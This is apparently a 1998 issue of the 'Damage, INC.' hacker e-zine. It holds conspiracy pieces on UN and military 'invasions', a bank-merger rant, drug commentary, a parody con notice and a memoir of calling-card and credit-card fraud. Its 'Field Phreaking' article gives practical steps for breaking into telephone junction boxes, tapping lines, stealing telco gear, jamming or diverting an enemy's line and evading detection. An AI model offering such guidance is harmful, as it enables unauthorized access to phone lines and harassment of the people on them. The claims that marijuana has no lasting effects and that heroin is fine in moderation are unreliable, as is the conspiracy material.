Charlotte's city +council did give the Army's SOC consent to initiate this practice operation, +because they believed the Army's lies. The council were told that the SOC would +be "in and out" and that they would not disturb any citizens. The U.S. Army SOC +received a lot of negative attention in the press, and Charlotte's Mayor +sent President Clinton a letter expressing his "deep concerns" over the way the +Charlotte citizens were treated. + +That is why when it was the Air Force SOC's turn to invade Charlotte, they were +even more discreet. Their invasion of Charlotte took place on May 28, 1997. If +you are a fan of NASCAR, you may remember the Coca Cola 600 was being held at +the Charlotte Motor Speedway. The spin doctors at the SOC turned their invasion +operation into entertainment for the spectators that were there before the race. +The Speedway's mascot was being held by "terrorists." Zombies in the crowed +cheered as the heavily armed airmen from the SOC arrived on the scene. Low +flying aircraft cover were also deployed, as well as pyrotechnics and loud +explosions. + +The U.S. Army SOC's invasion of Charlotte, and the Air Force SOC's public +relations invasion are connected. Both the Army and Air Force SOCs are under +the command of the United States Special Operations Command (SOCOM). In my +opinion, this operation took place to clean up the mess that the U.S. Army SOC +created within Charlotte in their earlier invasion. + +Charlotte wasn't the only city that was used as a staging ground for "urban +terrain exercises." Pittsburgh, Chicago, Atlanta, Dallas, Detroit, Houston, +Los Angeles, New Orleans, Miami and Seattle have also accommodated SOCOM mock +invasions. SOCOM claimed that these training operations were needed to prepare +soldiers to stop terrorism. However, these special operations could also be +a very discreet continuation of the mock UN invasions that took place in the +1950s. All it would take is for an American President to call a state of +emergency. The Constitution could then be suspended, and martial law could +be imposed. These soldiers are already trained to eliminate any resistance +that could be encountered in an urban center. Then Operation Garden Plot, +and other globalist plans could be implemented. (I encourage you to search for +information on Operation Garden Plot... or wait for me to write about it in a +future issue of the Damage, INC. Newsletter.) + +I hope the information in this article has given you a lot to think about. +Since its birth, the UN has chipped away at the sovereignty of nations, and has +impose the world order desired by the world's most powerful people. +Unfortunately, I only have a limited amount of space to reveal the countless +conspiracies and coverups that surrounds the United Nations. Once again, I +encourage you to inform yourself. Form your own opinions based on truthful +information, rather than public or media perceptions. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +When billions aren't enough. + +Over the past 10 years, banks and trust companies have become increasingly +bigger and fatter. We have seen the virtual elimination of interest paid on +savings and combination savings/chequing accounts (which stand at approximately +0.25% or lower). If you don't have enough money in your account, the bastards +literally make you pay for the "privilege" of allowing them to take your money +and invest it for their own gains. We have seen an intentional degradation of +service, as we have less human tellers to deal with. If you are a working +person, it is extremely difficult to arrive at a bank before it closes. We are +expected to use and trust instant teller or cash machines that occupy a small +space close to the locked doors of your local branch. Meanwhile, hackers and +phreaks know that telephone banking, electronic tellers/cash machines, and +Internet banking aren't as "secure" as they claim. + +Despite the woefully pathetic service North American banks provide, there has +been a proliferation of service charges. They range from getting charges for +having an account (which I eluded to above), getting charged for obtaining +service from a human teller, getting charged for using a banking machine, +getting charged for using a system like Interac to make a purchase, etc. I can +say for a fact that small businesses in Canada also face service charges when +depositing money into their business accounts as well. Despite the tremendous +profits they make from the growing number of service charges, it is not enough +for the greedy, fat cat banks. + +Not satisfied with recording multi-billion dollar profits and hundreds of +billions of dollars in assets, the largest North American banks are merging. +Yes, the biggest fat cats are devouring their competitors, forming what TIME +magazine has dubbed "Superbanks". An example of a so-called "superbank" +occurred on April 13, 1998 when NationsBank from Charlotte, North Carolina +merged with Californian BankAmerica. The media was told that the merger was +"a $60 billion deal" which formed America's largest bank. +NationsBank/BankAmerica is said to have assets worth $572.2 billion. That isn't +even the largest merger that occurred in the month of April. On April 6, 1998 +Citicorp and the Travelers Group merged (the deal worth $76 billion) to form +"the World's largest financial services company". Together, Citicorp/Travelers +Group have assets worth $697.5 billion. However, approximately $400 billion of +their assets aren't banks, so they don't get the "America's biggest bank" title. + +Like always, Canada has followed the lead of the United States. Canada's +largest chartered bank, the Royal Bank, and the third largest bank, the Bank +of Montreal announced that they want to merge in order to "be competitive +internationally". What was funny was that they didn't tell Federal Finance +Minister Paul Martin about it. Days later, the Canadian Imperial Bank of +Commerce (the CIBC is Canada's second largest bank) and the Toronto-Dominion +Bank (TD is the fifth largest) announced that they need to merge as well. A few +Canadians (like myself) are questioning why these banks need to merge. In the +first half of 1998, the Royal Bank announced a profit of $925 million; the +Bank of Montreal, $738 million; TD Bank, $600 million; and CIBC, $777 million. +At those numbers, all chartered banks, both the ones that want to merge and the +others that can't find a partner, will record their highest profit levels to +date. Currently, the mergers require the approval of the Federal Government. +Paul Martin is playing his political cards carefully. He is afraid of angering +the banks' investors (like the CEOs of the respective banks), but at the same +time he claims to be "looking out for what is best for all Canadians" in regards +to the lack of competition that would result from the mergers. Hmm...how many +times has a lying politician said that? :( + +Who benefits most from the monopolization of the banking industry? Definitely +not the public that uses their bank's (or banks') services. All these mergers +provide are less choice, less service, and more service charges. That leaves +the people that choose to support these fat cats by investing in bank stocks. +In fact, the people that profit tremendously from bank mergers are the +Chairmen/CEOs of the banks involved. With tens of thousands of shares each, +plus hundreds of thousands of stock options, they stand to gain millions of +dollars. Yet these fat cat chairmen, and their underlings are quick to spew +misinformation and lies about their true motives. In an attempt to sell it to +the zombies, CIBC Chairman/CEO Al Flood said, "Our merger is about product +choice at better value. It's about forming an innovative new company that will +create more jobs, higher-skill jobs, better-paying jobs and new jobs in +high-growth occupations". Really Al? In almost every big business merger, +massive job losses are caused because of what you and other fat cats call "job +redundancy". These mergers are a new form of downsizing. They eliminate jobs, +competition and make the banks' largest investors even richer. + +As these "superbanks" grow, so does their arrogance. The largest merged banks +have the assets and cash flow of many small countries. Therefore, how can they +be regulated by any one government? Laws created to protect bank customers can +easily be ignored because no potential punishment can hurt the banks. Is there +anything that can stop them? + +Perhaps, but at an extremely high price. The one thing that these banks fear is +being frozen out of the emerging electronic banking technology. The high price +I refer to are the new "players" in the electronic financial system that would +take "market share" away from traditional banks. Such corrupt corporate +entities include the likes of Micro$oft, the largest software company in the +world, will push extremely hard to make sure their software controls the new +financial infrastructure. Just don't forget about Big Brother, and the type of +control he can have over people, by knowing where every cent of their money is +saved and spent. All of these fat cats will battle it out. Whoever wins will +be the primary supplier of the new electronic "legal tender" that they hope will +replace cash. The thought of huge, supranational corporations being the +suppliers of legal tender is terrible indeed. It is bad enough what the banks +are doing to obtain pieces of paper that are backed by the country a citizen +lives in. Regardless of what happens, it is obviously a no-win situation for +everyone but those greedy bastards. + +I hope that this article has given you a lot to think about. I have attempted +to show how these greedy "superbanks" are hurting the general public right now +in order to obtain obscene profits, while providing virtually no return on their +customers' investments. As banks become bigger, they become even more conceited +and socially irresponsible. And as Big Brother, the banks, and other greedy +corporations form a cashless, electronic financial system, they'll be able to +sell their own electronic legal tender. In my opinion, being able to create and +distribute their own "currency" won't be enough. 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Newsletter I mentioned a commercial with +a good looking chick that tries to convince people not to use heroin. Well, +it seems as though Big Brother has stepped up its efforts to brainwash people. +However, their focus seems to be on marijuana more than anything else. In +fact, they want people to believe that "marijuana=evil". The emphasis is +definitely on marijuana now in their recent drug campaign. That is why I'm +writing this article, to educate and inform people about it. I'm sick of +seeing misinformation spread about marijuana and how it has permanent effects. +That's false. It doesn't have any lasting side effects at all... but Clinton +and the U.S. Government spend millions of dollars on commercials that either +lie or don't give people all of the facts. They're meant to brainwash people, +especially kids. That's their ultimate goal... and that is what should be +fought against. Let's get to the root of what they're attempting to do. They +want the anti-marijuana television commercials to influence zombies (which by +the way is not a difficult task) until they've been brainwashed into thinking +that marijuana is an extremely harmful substance. If they can make people +believe that it's evil, that's even better. It's more than psychology, it is +in fact zombiology. Hopefully that makes sense to you. If you don't question +what they tell you to believe concerning marijuana, then you are a zombie. +That's not an insult, it's just the unavoidable truth. + +Television Commercials and Comments: +----------------------------------- + +"Another missed opportunity to talk with your child about marijuana." + +Now that one is a real classic. The commercial shows a black man and his son +sitting at the kitchen table eating cereal. (They're trying to appeal to +all races and reach them by creating multi-racial commercials. Excellent +tactic.) However, it won't fool me and shouldn't work on anyone that is +intelligent. There are *much* bigger problems that parents should discuss with +their children. For example, is sniffing paint harmful? Is AIDS deadly? +Can smoking crack kill you? What about guns and kids? Can that be a lethal +combination? Shouldn't young children be educated about other things? As in, +shouldn't they be warned not to talk to strangers since there are literally +thousands abducted yearly in the United States? That's just an example of +something that they could be teaching. In my opinion, they spend/waste too many +dollars trying to combat things such as marijuana that are harmless. They try +to make it into such a "big problem", yet it's natural. There's no other word +to describe a plant that grows naturally... and has for millions of years before +man ever walked this earth. If marijuana is so wrong and shouldn't be used, +then why does it exist in nature? Can a plant really be deemed 'evil'? Haha. + +"Heroin -- Dying is the easy part." + +I don't necessarily disagree with the commercial that has that statement. +However, I'm not telling anyone to try heroin... or not to try it. That's +your own choice. The only thing is that they insinuate that heroin use leads +to death. That simply isn't so. Sometimes people die due to using heroin. +That's true... but not everyone does. Not everyone becomes a junkie. Some +people can experiment with something in moderation without using it continually +and becoming addicted. So, I feel that commercials such as that generalize +a lot as well as stereotype people that've used it before. + +Then there's the one that shows kids in the suburbs. One skateboards down the +sidewalk and meets his friend to smoke some weed. It's so realistic. They +light up a joint while sitting behind a bush on the lawn. The 'message' they +give is a really lame statistic "40% of kids that smoke marijuana live in +urban areas. Guess where the other 60% live." What a potent statement. Now +only if marijuana that potent were readily available. ;) + +The one that I laughed at most is the commercial that shows band members of +KISS. They talk about how they've done just about 'everything'. Meaning, +they were very active drug users. Yet, it seemed to be geared towards stopping +people from smoking marijuana. It's as though they're saying that it's the +worst substance to use. That is what is so laughable. It makes absolutely +no sense. Is that the message they want sent? + +Obviously, Damage, INC. is just a small voice in comparison to the huge +government propaganda machine... that is willing to spend millions of dollars +to churn out these Public Propaganda Service Announcements. They can recruit +former drug addicts, athletes, celebrities etc. to read the scripts that they +hand them. Indeed, their resources are almost limitless. Yet, I feel that +perhaps articles such as this will have an impact on people. That is, the +ones that question what they're being told to believe and aren't just naive +little zombies... that are begging to be brainwashed. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +H/P INFORMATION AND NEWS - {H/P} + + +------------------------------------------------------------------------------- + Field Phreaking: + Junction Boxes +------------------------------------------------------------------------------- + +If you want to find some junction boxes, then drive around during the day with +a friend and look for large brown, grey and green metal Bell boxes. You'll +probably see some smaller (thinner) boxes as well. Those are TV cable boxes +and they're usually used in small towns and rural areas. You should be +scouting for a location of a box that's not in an open, visible, obvious area. +Use a pen and a paper to log the street names and specific area of the boxes +that you find. Avoid boxes in busy areas, like downtown streets in a city. +Most of your searching should take place on roads that start in the city and +lead you out into the country. Basically, look carefully in subdivisions +that are being built close to the city limits. + +Be observant and get to know the area that you're scouting well. Take note of +bike paths, parks and any undeveloped areas. In other words, plan an escape +route just in case you are boxing and need to run. Just make sure the telephone +lines have already been connected in a new housing development. :) Otherwise, +the junction box won't be useful to you right away. + +Now that you've found a junction box or two that you feel is safe and are +comfortable in using, you'll need to know what clothing to wear when you return +later at night. First, wear your trashing clothes (dirty, old blue jeans, +a T-shirt and steel toe work boots). Bring a backpack with you and carry your +tools, Bell helmet etc. in it. Obviously, if you have Bell helmet and a shirt +with the Bell logo on it, wear them once you're at the box. Those can be +obtained from Bell vans quite easily, if you know what you're doing. Sometimes +Bell helmets etc. are left in switching stations too. Or you can check your +local Bell CO -- the cars, vans and trucks that are parked there for them. +However, it's totally up to you whether or not you want to steal items such as +those, but having them on makes you look less conspicuous. That is, if you +don't look like a little teenager trying to impersonate an old Bell linesman. + If you're at a junction box and a telco van is driving by, looks in your +direction and stops then grab your backpack and run. + +Since not all junction boxes are the same, be prepared to bring along quite a +few things with you. You'll need the following tools: + +BiC lighter (optional) +Cigarettes (optional) +Codes - local or 1-800 ANI (optional) +Diverter box(es) (optional) +Laptop (optional) +Voltmeter (optional) +Small Mag-lite flashlight +Medium flashlight +Pen +Scotch tape +Small needle nosed pliers +Larger pliers with a wire cutter/stripper for various gauges of wire. +Screw drivers (flat head, #1 and #2 Phillips) +Case cutter, utility knife or a very sharp pocket knife +Small can of WD-40 (just in case any bolts are rusted) +Adjustable wrench +Ratchet and various sockets (bring a small case) +Lineman's handset (or a beige box with small and medium sized alligator clips) + +Gather, organize and store all of the above items in your backpack before you +go out junction boxing. If you don't have a lineman's handset or a beige box, +then make one. Beige box plans can be downloaded from any h/p board. + +Using the junction box: +---------------------- + +Okay, you're standing in front of your victim junction box. Get out your +ratchet and socket set. In order to open the lock, take the appropriate +socket (whatever one that fits. Try a 3/8" socket first) and turn the bolt. +If it's rusted, spray some WD-40 on it and wait about 10 seconds until it +has had time to loosen it. Once the box is finally open, look around inside +of it. You'll see many terminals aligned in columns. The screw terminals +should be colored. At the top of them, you should see a label for Ring (R) +and Tip (T). The color red indicates Ring and white is Tip. If there's any +loose wire, tools, Bell manuals, documents, etc. inside of the box then put it +all into your backpack. You can examine it all once you get home. If there's +anything written on the inside of the box, write it down on the inside cover of +your cigarette pack. :) Sometimes you can find some Bell numbers, codes etc. +that way. If you're lucky, you may even find a lineman's handset left sitting +there. Now connect your lineman's handset (or your beige box) to the terminals +that correspond to your box. (Red to Red and White to White). You'll hear a +dial tone. If that doesn't work, try the reverse connection. If that doesn't +work, then you're a complete moron that doesn't know how to connect clips to +terminals properly. In that case, return home and try to figure out what you +did wrong. + +Start at the top and work your way down. Dial a local ANI for your NPA, or use +a 1-800 ANI that you know the number of. Record the number that it reports to +you. Repeat the process until you've written down 5-10 numbers for terminals. +If the ANI you're using reports the number of ports etc. you can write that down +as well if you want. I'm sure you can figure out why you might want to have +those numbers after you have returned home. :) Or, if you find the (R)ing +and (T)ip terminals of an enemy, you can fuck around with their line. You can +disconnect it, or connect a wire between the (R) and (T) which will act just +like a busy box. Their line will be busy 24/7 until that's removed. Or you +could connect a diverter box to their line once you have the number. + +However, you shouldn't do anything like that if you plan on going back to that +same junction box again and again. As in, if you want that box for long term +use, don't fuck around and change everything. After the person calls Bell, +they'll eventually find out that the box has been tampered with and it will no +longer be safe to junction box from there. If you want to know if a telco +employee has been there, put a piece of transparent Scotch tape on the outside +of the door when the box is closed. That way, if the door is opened the tape +won't be attached anymore. Then you'll know that someone else has been in it. +If that happens, avoid using that box again. Most likely it'll be watched. +Plus, anything that you did in the box (altered/modified) will have been changed +back to the way that it originally was. So, if you connected any boxes to +terminals, Bell would have them all. The best advice I can give you is to make +sure the box is properly closed and doesn't look like it's been broken into. + +Obviously, there are many interesting things that you can do with junction +boxes, such as setting up conferences, scanning ld exchanges, hacking systems, +hacking codes, dialing ld h/p boards etc. It can be a lot of phun if you have a +laptop and a modem with you. :) I'll explain setting up conferences and some +other things that can be done while field phreaking in a future article. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE +^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON +~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE +------------------------------------------------------------------------------ + FAKE CON '98 +------------------------------------------------------------------------------ +~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE +^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON^^^CON +~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE~~FAKE + + +>What the hell is FAKE CON '98? It's a new h/p CON. Why? Why not! Not all + Hacker CONS have to take place in the United States and European countries. + It's going to be a big event held yearly in the Montreal, Quebec area. Yes, + Canada's first real Hacker CON. =) It will be a festival type of atmosphere + and everyone is invited, from novices to the advanced and ph34r3d hackers. + It's going to be the biggest bash of '98. Ph3ar FAKE CON. Just don't miss it! + + +>Founder/Spokesperson/Organizer: The Phak3r. + + +>Info: For more information, call 1-800-325-3266 after 11pm PT. Again, that's + 1-800-FAKE-CON. You can also visit: www.cons.com/~fakecon and get info, maps + etc. from the site. + + +>When: August 21st, 1998. The CON starts at 1:00pm after everyone has checked + into the hotel. It ends Sunday, August 23rd. Friday-Sunday. 3 whole days of + phun for all that choose to attend. + + +>Where: Montreal, Quebec, Canada. NPA 514. The CON takes place at the + Best Western hotel in downtown Montreal on Rival street near the big blue + building. If you've never been to Montreal before, just call and ask us + for directions. + + +>Speakers: Harry Hax0r, Ozzy 0z, Pete Phr33-K, Jeff "l33t" Shatz, *nixmester, + Thomas Nilson (security), Mark Fried (telco d00d), Social Mistake, Gaukelzgeek, + Da Shad0man, L0-Leper, Sourcer#1, W4âîz G4r³), th3 gr3atful dump, á0xmaï, + Philezerý, Tw3rpie, Eternal Blahness and The (h34pL0rD. + + +>Activities: Hacking, Phreaking, Trashing, Contests, Draws, Hax0r hunting, + Conferences, Movies, lots of hardcore Partying and much much more. If you + become bored, there's always the Montreal bar scene within walking distance. + There's also a casino nearby, pool halls and a couple of strip clubs. + + +>Prizes: Win a P][ 233 MMX laptop system one of two ways. Hack the password or + decrypt the special message and read it out loud in front of everyone. Second + prize is a USR 56K x2 external modem. The modem will be raffled off, so + whoever is lucky enough to have their ballot drawn will take home a nice + FAKE CON '98 parting gift. + + +>Admission: $5.00 admission into the CON plus the cost of the hotel, food, + beer, drugs etc. That includes full access to the network that we've setup, + permits you to attend every speaker conference and allows you to hang out + with all of the cool people. That fee does not cover any damages caused by + you, bail money etc. You're responsible for bringing extra funds for those + costs, if you're into destroying hotel rooms, ripping off shit etc. + + +Merchandise for sale: +-------------------- + +T-Shirts - Large and XL sizes only. Black, White and Black & White quality +Hayes cotton shirts. The front has a small exploding Bell Canada logo on +the top left side. The back has a very large logo that reads "I survived +FAKE CON '98" with the words "Phrench Phreaks Rule!" underneath. The alternate +shirt (Black & White) is the same except it reads "Ph34r Me D00d" under the +FAKE CON '98 logo. Cost: $20 Canadian. Trust me, the shirts look kewl. The +quantity is limited to 200 shirts though. So, buy 'em before they're all gone. + +Movies - Vendors will be selling a wide assortment of Anarchy, Trashing and +Hacking movies. Prices vary from $10 to $20. Some of them are Jerry Springer +style low budget movies. I've viewed some of the footage already, and it's +simply hilarious. Rated 4 stars and two thumbs up by Cisco and Egghead Co. + +Comics, Tattoos - Many varieties will be sold. The comic books are real. The +tattoos are just the temporary, fake ones though. =) The latest FAKEware +will be sold. FAKE and Ph3ar3d! + +Buttons, Stickers, Baseball Caps - They have many variations of the FAKE CON +logo on them. There are also buttons and stickers with the Bell logo crossed +out etc. Impress your friends and school buddies. Cost: $2 for the stickers, +$4-$5 for the buttons, $15 for the Baseball Caps. All prices listed are in +worthless Canadian dollars. The caps aren't Starter (TM) but they look good. + +Box Plans - We're featuring the FUBAR '98 box. Full schematics are included. +It's the 'ultimate revenge' box for the malicious h/per. After you've built +it, simply connect the box to the victim's line. Then go to a pay phone, +dial their number, enter the activation code and listen to their Bell phones +explode as they're saying "Hello? Hello?" =) Cost of photo copies: FREE. + +--- Written by THC Phreak --- + + +ú - NEWS - ú + +Several established boards have become Damage, INC. Distribution Sites since +issue #9 was released. They are as follows: + +Infinite Darkness - Florida, USA - (954) 797-0666 +Sysop: Midnight Sorrow + +T's BBS - Saskatchewan, CAN - (306) 384-1600 +Sysop: Mister T + +OBLiViO - Yugoslavia - +381-11-318-6392 +Sysop: Sagittarius + +ViCKY BBS - Slovakia - +421-7-596-8331 +Sysop: Boomer + +There will be more Damage, INC. Dist. Sites added soon, as I've been contacting +a number of Sysops. If you run a quality board and would like to distribute +the Damage, INC. Newsletter in your area, contact us at damage_inc@mailcity.com. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} + + + THE STORY OF MIDNIGHT SORROW + (In case you were wondering) + + By Mitchel Waas, aka Midnight Sorrow + +------------------------------------------------------------------------------- + + One dark, gloomy, and utterly foreboding day back in 1968, a hellish fiend +was born. Some called him 'Mitch', a truly ridiculous moniker for such a +righteous dude [Sorry. This text was created shortly after the release of Bill +& Ted's Excellent Adventure and Ferris Bueller's Day Off. I talked this way.], +but one name, and one name only, stuck in his brain. MIDNIGHT SORROW. + + At this point, you are surely wondering, what the hell is this guy talking +about? Well, simply put, here is my story: [As if you actually gave a fuck.] + +------------------------------------------------------------------------------- + + Back in August of 1983, young Midnight Sorrow was a bumbling, drooling, +hopeless dork. He had no life, no direction, no goals, he was basically the +same as virtually every other high school sophomore. So he decided, "I am +going to find something good. Something worthwhile. Something ILLEGAL!" +[Well, not really, but literary license being what it is...] So he began +watching all the computer dorks programming, doing schoolwork, and most of all, +playing computer games on the Apple IIe's in the school library. + + "Hmm...this has potential!" thought Midnight to himself. So, after a good +month or so of acquainting himself with the other computer dweebs, he +insinuated himself in front of one of the Apples. Disk in drive, he started +playing Hard Hat Mack. "Wowee, this is great! Gotta get one of these! NOW!" + +[Note: The time frame MUST be radically off, here - I remember playing with a +friend's Apple I back in 1980, while I was still at Pioneer Middle School +(Junior high). Who knows - fourteen metric tons of marijuana and six hundred +and eighty thousand gallons of liquor which I imbibed during my tenure at FSU +can do that to a person.] + + Sprinting home at a most frightful pace, Midnight got home, only to find +his father in a particularly hideously awfully bad mood. "Dad, dad DAD! Ya +gotta get me a computer! Ya gotta! Cmon pleez!" "Yeah son, sure, fuck off. +How about a new game for your Atari?" (Midnight had one of those incredible +marvels of Japanese technology, the Atari 2600. He thought it was a piece of +shit.) "No dad, I *GOTTA* get me one of those Apples! They're too cool!" + + After a good three to four solid hours (well minutes, actually) of +haggling with his father, he convinced him to get him a computer. On his +birthday. In July. + + On his birthday, eleven extremely agonizing months later, Midnight Sorrow +and father went off to the nearest Toys R Us [the computer and technology +haven that it is] to try and find a worthy system. Midnight Sorrow, being the +slightly spoiled, but highly imaginative young soul that he was, was thinking +along the lines of an Apple IIe, with dual floppy drives, possibly a hard +drive, with around a thousand blank disks for copying. Mr. Sorrow (Midnight's +father) had something altogether else in mind. He bought Midnight .... (drum +roll please) a COMMODORE 64! (with Tape drive yet, not even a disk drive!) + + ....FADE FORWARD A COUPLE SIXTEEN MONTHS.... + + It is now November, 1985. Midnight Sorrow now has a Commodore 64, TWO +1541 disk drives, over four hundred FILLED disks [gosh]; an altogether very +adequate system. However, he still remained unfulfilled. Talking with the +other computer folks in school, he came to the conclusion that the Commodore +was the wrong way to go. Sure, there were pirates all OVER the place, and +there were games for it up the ass. But it wasn't the greatest. He needed an +IBM. But what could he do? He had no job, no money, and only a miserable $5 +a week allowance. So he suffered with the knowledge that he was fucked, +doomed to use the Commodore 64 until he died of old age. [or got a job, +whichever came first] + + ....FADE FORWARD SEVEN MORE MONTHS.... + + Early June, 1986. Midnight Sorrow now has a Commodore 64, a Commodore +64C, a Commodore 128, two one megabyte disk drives (quite a treat on the +Commodore, since most games were less than 64k), four 1541 disk drives, a 1200 +baud modem!!, and around one thousand filled disks. He was now heavily into +the illegal sector of Commodore use. He had friends all over the United +States, through which contact was made possible by the use of other people's +MCI, Sprint, and Teltec calling-card access codes. His entire system was made +possible by the use of other people's MasterCard, Visa, and American Express +numbers. He was truly enjoying life. However, he was only weeks from +graduating high school. His parents expected him to go out of town, attend +Florida State University, get a nice shiny degree [in Molecular Biophysics, +nonetheless], get married, have three or four kids, and die a horribly wealthy +man. Midnight Sorrow, ever the impetuous youth, said "FUCK THAT!" So he +decided to go to FSU, become a school hero of dubious notoriety, while at the +same time becoming the disgrace of his family. (Well, he didn't really plan +it that way, that's just the way it turned out). "Oh well, I gotta goto +college, I guess I'll bring my computer there, it'll probably help out with my +term papers and everything," innocently thought Midnight Sorrow. + + ....FADE FORWARD THREE MONTHS.... + + September, 1986. Midnight Sorrow is now at FSU. He has been rather +halfheartedly attending his classes, instead preferring to stay at his dorm +room in Osceola Hall, and party his ass off. Last month, seeing that the +monthly contribution from his parents was definitely not going to cut it, +Midnight Sorrow decided to make a few extra bucks. He was now running a highly +profitable, very busy and successfultyping service. If you are currently +going to college, you will know the extreme number of term papers you have to +write. One or two a week, many as long as 3000-5000 words. All typed. Not +fun, even if you DO know how to type. Most typing services charge around $2-$4 +per typed page. Midnight charged $1 a page. His typing service was a bonafide +hit, and everyone was coming to him to get their papers typed. One fateful +day, a young fratboy came to Midnight's dorm room. "Hey guy, wussup, hey man, +you got any papers for sale?" "FUCK YOU! Fuck off! Get the fuck outta my room +ya stupid piece of shit! Ya think I wanna get kicked out of school!?" +innocently replied Midnight Sorrow, not even aware of the idea already brewing +in the darkly malevolent depths of his subconscious.... + + It may not be very obvious to you, but it [eventually] was to him. Every +paper he typed, he saved on disk, in case the original paper's owner wanted +another copy or had some changes, or something. By this point, he had close to +two hundred assorted term papers filed away on disk. After a week of some very +serious thinking, Midnight Sorrow decided to contact that fratguy and give him +an affirmative answer. + + ....SKIP FORWARD ONE MONTH.... + + Midnight Sorrow's room now seems to be the source of some truly extreme +moneymaking. Stereo and computer equipment everywhere, and a rather large +record and compact disc collection seems to have sprung up out of nowhere. He +has now decided to quit class, and work at his "JOB" full-time. He would +still get the occasional person wanting their paper typed, but his largest mode +of moneymaking was from the THER type of student. The desperate, I'm-about- +to-fail-my-fuckin-class-damnit-I'll-pay-ANYTHING!!!, type of student. "Sure +buddy, not a problem. $10 dollars per hundred words." And of course, a semi- +wealthy, parent-financed student (of which there are MANY at FSU), who's right +on the verge of flunking out of English 101, is often quite willing (and eager) +to shell out $300 for an A-quality term paper (Midnight Sorrow, you see, is +OUTSTANDING in English. It is far and away his best subject. Once he'd typed +a paper in, he went in and revised it, correcting grammar and other minutia, +making it pretty damn close to "A" quality.) + + "So, what the hell did this stupid fuck do with all the money?" you are +surely asking yourself. Well, aside from the extreme quantity of CD's, disks +and electronic equipment he bought for himself, Midnight Sorrow was also the +'PARTY MAN' of Osceola Hall. He generally found himself the kind benefactor of +many an all-night party, often buying several cases of wine coolers, a few +pizzas, and a keg or two a night. Midnight Sorrow happily went around in an +extreme drunken stupor for the last three months of his first college semester. +Due to this, his judgment obviously wasn't exactly up to par. [Gotta love the +foreshadowing, eh?] + + ...SKIP FORWARD TO DECEMBER 10, 1986.... + + "Son, do you realize the problems you have caused? You have sold EIGHT +copies of the EXACT SAME TERM PAPER to students in the same class! And god +only knows how many other copies of that paper are wandering around campus! +What do you have to say for yourself?!?" angrily queried the Dean of +something-or-other, head of a hastily-convened board regarding this most +devious miscreant, Midnight Sorrow. + + "Uhh, umm, err, well, y'see, umm...", replied Midnight Sorrow rather +eloquently, still hazing-n-dazing around through the depths of a most gigantic +hangover. Needless to say, they presented him with an ultimatum: Get the +fuck out of FSU, and never return, and we won't press charges. He left. + + ...SKIP FORWARD TO CHRISTMAS EVE, 1986... + + Midnight Sorrow's parents still have no inkling of what their delightful +son has been up to for the past four months. They think that he is on +'Christmas Break,' and will be returning to college in three weeks. Well, +that's what they thought. Until today. See Midnight Sorrow's father, a rather +hulking mass of 265 pounds, all of six foot four, come smashing through the +front door. "OK you stupid shit, talk to me!" calmly said Midnight's father, +as he cheerfully pinned his son to the wall one foot off the floor. "How could +you do this to me! I'm a respected businessman in this town! You're going to +ruin EVERYTHING!" + + Needless to say, Midnight Sorrow neglected to remember a minor detail: +One of his sisters lives in Tallahassee, the location of FSU. She and her +husband are both extremely die-hard FSU fanatics, and alumni. Her husband's +father just happens to be the Dean of the Mathematics department at FSU. +Although he is seventy-two, and he wears a hearing aid, he just happened to be +at a faculty party, when a conversation trickled around about this consummately +evil student who sold countless copies of term papers at FSU, and the +neighboring TCC (Tallahassee Community College, bonehead). Being the curious +old fuck that he is, he asked for the student's name. And of course, he then +called his son, his son called his wife, his wife called her father, and her +father came crashing through his own front door, seriously contemplating +murder. + + Due to the extensive rumor-mongering and idle chatter regarding the +incident, a goodly amount of publicity was aroused. The FSU school paper +printed a front page story relating the entire incident, in extreme, gory +detail. The local newspaper, the Tallahassee Democrat, picked up this story +and ran a sub-headline on the bottom of page one. + + Then, that rather large news organization, Reuters, picked up the story. +The New York Times, The Miami Herald, th Boston Globe, the San Francisco +Chronicle, and pretty much every major news forum from here to Upper Mongolia +ran a little story about that hideous abortion of society, Midnight Sorrow, +and his devilish deeds at Florida State. For obvious reasons, the school +board of FSU reneged on their verbal promise not to press charges, and pressed +charges. + + Wrapping up this dandy situation, Midnight Sorrow eventually ended up +having to serve 120 hours of communiy service, by re-shelving books at a local +branch of the Broward County Library. End of story. All's well that ends +well, all has been forgotten, so now Midnight Sorrow can live long and prosper, +get a job, get wealthy, get married, have kids, and live happily ever after. + +Nope, sorry, not quite. + + ....SLIDE FORWARD ANOTHER SIX MONTHS.... + + July, 1987. Midnight Sorrow has gotten rid of his Commodore 64, and +taken a little defective IBM-PC from his job as a computer repair technician's +assistant [at Inacomp Computer Centers, Broward Boulevard in Plantation, long +since closed down and turned into a Blockbuster Video]. Due to his connections +at work, he was able to purchase a refurbished 330-meg hard drive for around +$150. He also purchased a rather complete system, enabling him to enter the +crime world of the IBM. He found this to be quite a bit more fun than the +dweebish lamer community surrounding the Commodore, and thus found himself +operating a highly-illegal BBS called Deth Dunzhen (Pronounced, perhaps +un-obviously, "Death Dungeon." The reason for the spelling? Who knows). + + Having just acquired a wonderful set of fifty sparkling credit card +numbers [credit card numbers, sometimes even entire credit HISTORIES, being as +easy to obtain as water in the computer crime scene of the mid-eighties], he +decided to go about attempting to sell them. He then posted a message, +accessible only to the "Highest Elite" members of his system (typically only +friends and close acquaintances), informing them of this fact. Unbeknownst to +him, his Co-Sysop was seriously unhappy with Midnight Sorrow's participation in +these highly illegal areas. Due to this fact, his Co-Sysop then called up +Crimestoppers and told them of Midnight Sorrow's heinously anti-social +activities. Crimestoppers then notified the Secret Service, who, at that +moment, just happened to be conducting an investigation 